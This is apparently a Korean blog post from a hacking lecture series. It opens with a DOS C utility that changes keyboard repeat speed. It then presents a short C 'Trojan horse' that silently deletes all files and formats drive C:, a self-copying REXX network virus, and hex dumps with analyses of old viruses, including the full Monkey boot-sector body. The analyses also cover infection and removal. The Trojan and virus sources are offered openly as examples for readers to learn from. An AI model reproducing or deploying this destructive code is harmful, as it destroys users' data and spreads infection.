/***************************************************************************
* 키보드 속도를 빠르게 해 주는 유틸리티. (FAST.COM) *
* 만든 곳 : 하 늘 소 ( 경북대학교 전자공학과 ) *
* 만든 사람 : 이 영 상 ( 하늘소 2 기 ) *
* 만든 날짜 : 4323년 7월 *
****************************************************************************/
#include /* 도스에 관련된 함수들을 쓰겠다는 말이다. */
/******************** 필요한 선언을 하는 부분 **********************/
#define KB_STATUS_P 0x64 /* 키보드의 상태를 알수 있는 Port 번호 */
#define KB_DATA_P 0x60 /* 키보드에 데이터를 보낼때 쓰는 Port 번호 */
#define ACK_SIGNAL 0xfa /* 인식(Acknowledge) 했다는 신호 */
#define SET_TYPEM 0xf3 /* 키보드의 속도를 바꾸겠다는 명령 Code */
#define OB_FULL 1 /* Output buffer에 한 글자가 있을때 */
#define IB_FULL 2 /* Input buffer에 한 글자가 있을때 */
#define MAX_TRY 3 /* 최대 시도 횟수 */
/******************** 함수의 형을 선언하는 부분 **********************/
int set_typm( int gap ); /* 키보드의 속도를 조절 하는 함수 */
int send_kb ( int gap ); /* 키보드에 지정 값을 보내주는 함수 */
/******************** 풀그림의 시작 부분 **********************/
void next( void )
{
if( set_typm(0) ) /* 성공적으로 끝났으면 */
printf("\n\tSuper Keyboard Mania V2.0\n");
else
printf("\n\7\tError in adjusting keyboard speed !!\n");
}
int set_typm( int gap )
{
disable(); /* 인터럽트가 걸리지 않게 한다. */
if ( send_kb( SET_TYPEM ) ) /* 키보드에게 속도 조절을 한다는 명령을
보낸다. */
{
if( send_kb( gap ) ) /* 키보드로 원하는 속도를 보낸다. */
{
enable(); /* 인터럽트가 다시 걸리게 한다. */
return( 1 ); /* 성공적 */
}
}
enable(); /* 인터럽트가 다시 걸리게 한다. */
return( 0 ); /* 제대로 되지 않았을때 */
}
int send_kb( int gap )
{
int i = MAX_TRY; /* i 에 최대 시도 횟수 값을 넣는다. */
unsigned int j;
while( i-- ) {
j = 30000;
while( --j ) /* Input buffer에 값이 들어올때 까지 30000번 돌린다. */
if( inportb( KB_STATUS_P ) == IB_FULL )
break;
outportb( KB_DATA_P, (unsigned char)gap ); /* 키보드에 값을 보낸다 */
j = 30000;
while( --j ) /* Output buffer에 값이 없어질때 까지 기다린다. */
if( inportb( KB_STATUS_P ) != OB_FULL )
break;
j = 30000;
while( --j ) /* 키보드에서 잘 받았다는 신호가 올때 까지 기다린다. */
if( inportb( KB_DATA_P ) == ACK_SIGNAL )
return( 1 );
}
return( 0 ); /* 제대로 되지 않았을때 0을 리턴 */
}
다음은 아주 간단한 C 로 만든 트로이 목마 바이러스입니다.
C를 모르는 분이라도 다음 소스를 보면 뭔가 아실겁니다.
#include
main()
{
printf("Wait ...\n");
system("echo y! del *.*");
system("echo y! format c: >nul");
}
"|"는 도스(배치)상에서도 주로 쓰이는 것으로 쉬프트키와 \를 누르면 나옵니다.
6) 그외의 바이러스
다음은 Rexx 라는 언어로 제작한 네트워크 상의 바이러스의 소스이다.
--------------------TOP OF FILE-------------------------------------------
/LOAD REXX
IF RANDOM(2) <> 0 THEN DO
NAME.1 = 'PQ'
NAME.2 = 'OUTPUT'
NAME.3 = 'PROFILE'
NAME.4 = 'BROWSE'
NAME.5 = 'HELP'
FANME='VIRUS'
MAXLINE=0
W1=1
W2=80
CLONE=0
I=0
PARA='FNAME MAXLINE REC W1 W2 CLONE '
DO WHILE I < 20
I=I+1
M1.I=''
M2.I=''
PARA = PARA || 'M1.' || I || ' M2.' || I || ' '
END
COMMAND = '(DOCTOR VIRUS)'
PARA = PARA || 'COMMAND'
C=0
M1.8='-->'
DO WHILE C < 10
MN.3=' COMPUTER VIRUS IN MULTI-USER TIME-SHARING ENVIROMENT '
IF C=9 TH N COMMAND '..O,O;.. CANCEL ..'
CLINE=C
MAXFILE=C+1
'PANEL IGCX:ED.PAN ' || PARA
IF COMMAND='HELP' THEN C=20
C=C+1
END
C=RANDOM(5)
'COPY IGCX:TEMP ' || NAME.C || 'XO'
-------------------END OF FILE-----------------------------------------
(PROGRAM TEMP)
------------------TOP OF FILE--- -------------------------------------
/LOAD REXX
SAY 'INFECTED BY COMPUTER VIRUS MEROMNG'
EXIT
-----------------END OF FILE------------------------------------------
Rexx 라는 프로그래밍 언어는 네트워크 에서 주로 사용되며
batch 파일과 basic의장점을 딴 것이다.
다음 강좌를 기대하세요~
해킹 강좌 7회
7번째 시간입니다. 유명 컴퓨터 바이러스의 분석을 하겠습니다.
9회까지 바이러스에 대한 모든것은 끝나고 10회부터 유닉스&인터넷 강좌/해킹으로 들어갑니다.
5-1 기존 바이러스 분석
기존 몇몇 바이러스의 찾기와 분석이다.
5-1-1 크리스 마스 바이러스
증상은 크리스마스에 일정시간뒤 고요한밤 거룩한 밤을 연주한다.
0270 58C3 01 00 00 00 00 20-4D 65 72 72 79 20 43 68 X .... Merry Ch
0280 7269 73 74 6D 61 73 20-61 6E 64 20 68 61 70 70 ristmas and happ
0290 7920 6E 65 77 20 79 65-61 72 20 21 20 20 57 72 y new year ! Wr
02A0 6974 74 65 6E 20 66 72-6F 6D 20 54 61 6D 73 75 itten from Tamsu
02B0 6920 4F 78 66 6F 72 64-20 63 6F 6C 6C 65 67 65 i Oxford college
02C0 2E20 20 24 10 03 23 00-70 03 0F 00 10 03 19 00 . $ 606 부터
감염 파일이름이 있다.
단, 파일 길이(경로 포함)가 24자 이상은 감염되지 않는다.
5-1-2 원숭이 바이러스 (Monkey Virus) 분석내용.
1. 부트 섹터에 감염된 모습
0100 EB 1E 90 49 42 4D 20 50-4E 43 49 00 02 01 01 00 ...IBM PNCI.....
0110 02 E0 00 40 0B F0 09 00-12 00 02 00 00 00 00 00 ...@............
0120 FA 2B DB 8E DB 8E D3 BC-00 7C EA 2F 00 C0 07 CD .+.......|./....
0130 12 BE 4C 00 56 2E 80 3E-F2 00 02 74 0E E8 C5 00 ..L.V..>...t....
0140 BF FC 01 B9 02 00 FC F3-A5 EB 03 E8 BE 00 5E C7 ..............^.
0150 04 7D 00 89 44 02 0E 1F-E8 30 01 06 B8 62 00 50 .}..D....0...b.P
0160 FB CB 8E C1 8B DC 51 53-BA 80 00 E8 59 01 E8 AD ......QS....Y...
0170 00 B1 0E BA 00 01 E8 82-00 E8 36 01 CB 1E 56 57 ..........6...VW
0180 50 51 52 E8 41 01 80 FC-02 75 0E 52 2B C0 CD 1A PQR.A....u.R+...
0190 80 FA 40 5A 73 03 E8 85-00 5A 59 58 5F 52 51 50 ..@Zs....ZYX_RQP
01A0 83 F9 03 73 3A 3A 34 75-36 80 FC 02 74 0E 80 FC ...s::4u6...t...
01B0 03 75 2C 80 FA 80 72 27-2A E4 EB 23 E8 3F 00 72 .u,...r'*..#.?.r
01C0 21 E8 DE 00 74 08 E8 E1-00 74 03 F8 EB 14 E8 04 !...t....t......
01D0 01 8A 74 01 58 E8 26 00-E8 D7 00 59 5A EB 06 E8 ..t.X.&....YZ...
01E0 1C 00 1F 1F 1F 5E 1F CA-02 00 00 01 01 00 00 00 .....^..........
01F0 00 80 01 00 05 09 0B 03-05 0E 0E B8 01 02 9C 2E ................
0200 FF 1E FC 01 C3 48 BF 14-04 4F 89 05 B1 06 D3 E0 .....H...O......
0210 04 20 8E C0 C3 8A 34 B8-01 03 E8 E1 FF C3 2B C9 . ....4.......+.
0220 41 51 8A 34 E8 D4 FF 72-60 E8 76 00 74 5B E8 79 AQ.4...r`.v.t[.y
0230 00 75 21 26 83 BF FA 01-00 74 4E 26 C7 87 FA 01 .u!&.....tN&....
0240 00 00 B1 01 E8 CE FF 72-40 41 8A 74 02 E8 AB FF .......r@A.t....
0250 72 37 58 51 E8 7E 00 E8-58 00 46 E8 B7 FF 4E 72 r7XQ.~..X.F...Nr
0260 28 E8 4E 00 51 E8 23 00-59 52 8A 54 03 26 89 97 (.N.Q.#.YR.T.&..
0270 74 00 5A 26 88 8F 72 00-26 C7 87 FE 01 55 AA 59 t.Z&..r.&....U.Y
0280 51 26 88 8F F2 00 E8 8C-FF 58 C3 56 8B FB BE 20 Q&.......X.V...
0290 00 03 FE B9 DC 01 F3 A4-8B FB 2B F6 B1 03 F3 A4 ..........+.....
02A0 5E C3 26 81 BF FA 01 19-92 C3 26 81 BF 19 01 50 ^.&.......&....P
02B0 61 C3 57 51 50 8B FB B9-00 02 FC 26 8A 05 34 2E a.WQP......&..4.
02C0 AA E2 F8 58 59 5F C3 0E-1F BE EA 00 80 FA 80 72 ...XY_.........r
02D0 03 BE EE 00 C3 57 56 26-8A 47 14 B9 04 00 8B F1 .....WV&.G......
02E0 4E 38 84 F3 00 74 06 E2-F5 B1 03 EB 04 8A 8C F7 N8...t..........
02F0 00 5E 5F C3 5D 7F 7E 7B-75 89 19 92 00 00 55 AA .^_.].~{u.....U.
2. 분석결과.
원숭이 바이러스는 외국산 부트 바이러스로써, int 13h, int 1ah를 사용하며,
이중 int 13h를 가로채어 a01f:01fch 를 가리키게 변경을 하고 원래의 int 13h
의 오프 번지는 01fdh에 저장을 해 놓는다.
자신의 감염여부를 확인한 후, 최초의 감염이면 맨먼저 자신이 들어갈수 있는
메모리를 1KB 확보를 한 후, 0 head 0 cylinder 1 sector (플로피인경우 부트섹
터, 하드인경우 마스터 부트 섹터) 부분을 0003:7c00번지로 읽어들여 "2E"값과
각각 XOR(eXclusive OR)시켜 0 head 0 cylinder 3 sector (둘다 첫번째 FAT영역)
에 옮긴후, 자신은 0 head 0 cylinder 1 sector 부분에 복사를 한다. 그 다음
1 head 0 cylinder(랜덤처리 되기 때문에 바뀔수가 있다) 14 sector 부분을
0003:7c00으로 옮겨 놓은 후, 디스크에다 어떤작업을 할 때, 메모리에 이미 존재 하는
엉뚱한 내용을 읽거나 쓴다.
또한, 원래 0 head 0 cylibder 1 sector 에 있던 내용이 첫번째 FAT영역에 겹쳐
써지므로 중요한 자료들을 날리게 된다.
(FAT영역은 두개가 있으므로 잘 하면 복구가 가능하기도 하다)
치료방법은 감염에 대한 역순으로 진행을 하면 되는데,,,
이미, 엉뚱한 값들이 디스크에 써지지 않았다고 가정을 하면...
먼저, 0 head 0 cylinder 3 sector 에 있는 암호화된 섹터를 풀어서 원래의
자리고 옮기고, 두번째 FAT영역을 읽어 거기에 해당하는 섹터를 써주면 된다.
5-1-3 4월 24일 (April 24th) 바이러스
4월 24일 바이러스는 한국산 파일 바이러스이다. 1994년 4월달에 발견되었다. 이
바이러스는 예루살렘 바이러스의 변형이다.
COMMAND.COM,SCAN.EXE,CLEAN.EXE,V3.COM,V3RES.EXE,VSHIELD
.COM 을 제외한 모든 COM,EXE 파일에 감염된다.
증상
4월 24일날 파일을 실행하면 그 파일을 실행시키고 끝난후에 사용중인 디스크를
포맷한다. 그리고 하드를 포맷하려고 했는것 같으나 하드는 포맷시키지 못한다.
7월 23일 원래 프로그램을 실행 시킨후 지워버린다.
이날이 아니라도 램 상주 30분 후에 화면의 일부를 올리고 컴퓨터의 속도를 떨어
뜨린다.
실행할때만 감염되며 은폐기법이나 암호화는 사용하지 않는다.
바이러스 내부의 암호화 된 부분을 풀어보면 다음과 같은말을 볼 수 있다.
60A07D 00 00 B9 41 2A 7B-43 4F 4D 4D 41 4E 44 2E ......*{COMMAND.
70434F 4D 53 43 41 4E 2E-45 58 45 43 4C 45 41 4E COMSCAN.EXECLEAN
802E45 58 45 56 33 2E 43-4F 4D 56 33 52 45 53 2E .EXEV3.COMV3RES.
904558 45 56 53 48 49 45-4C 44 2E 43 4F 4D 00 00 EXEVSHIELD.COM..
COM 은 1587 증가하며 EXE 은 16의 배수가 된후 증가한다.
일부의 컴퓨터에서 램상주시 정지할 수 있다.
SCAN 으로 진단이 되는데 예루살렘 변형이라고 나온다.
5-1-4 Brain 바이러스
1986.6월,파키스탄의 Lahore,두 형제(배시트와 암자드 알비)가 개발하였다.
부트 섹터 감염자이다.
1. 특징
가. Original 부트 섹터를 교체
나. Original 부트 섹터를 다른 장소로 이동 (불량 클러스터 앞부분)
다. 바이러스 잔류자를 포함한 7개의 섹터가 변경
라. 바이러스 보호를 위해 변경된 3 클러스터를 사용불가로 표시
(연속된 할당되지 않은 3클러스트)
마. 플로피 디스크의 뵈첼동 감염
바. 메모리 크기를 7 K 감소
사. 하드 디스크는 감염 시키지 않음
아. 감염된 디스크의 sector 0에 "(c) Brain" 스트링이 있음
자. 시스템이 감염된후 어떤 프로그램이 Boot Sector를 읽으면 감염된
boot sector가 아닌 original boot sector를 읽도록 속임
댓글 없음:
댓글 쓰기
국정원의 댓글 공작을 지탄합니다.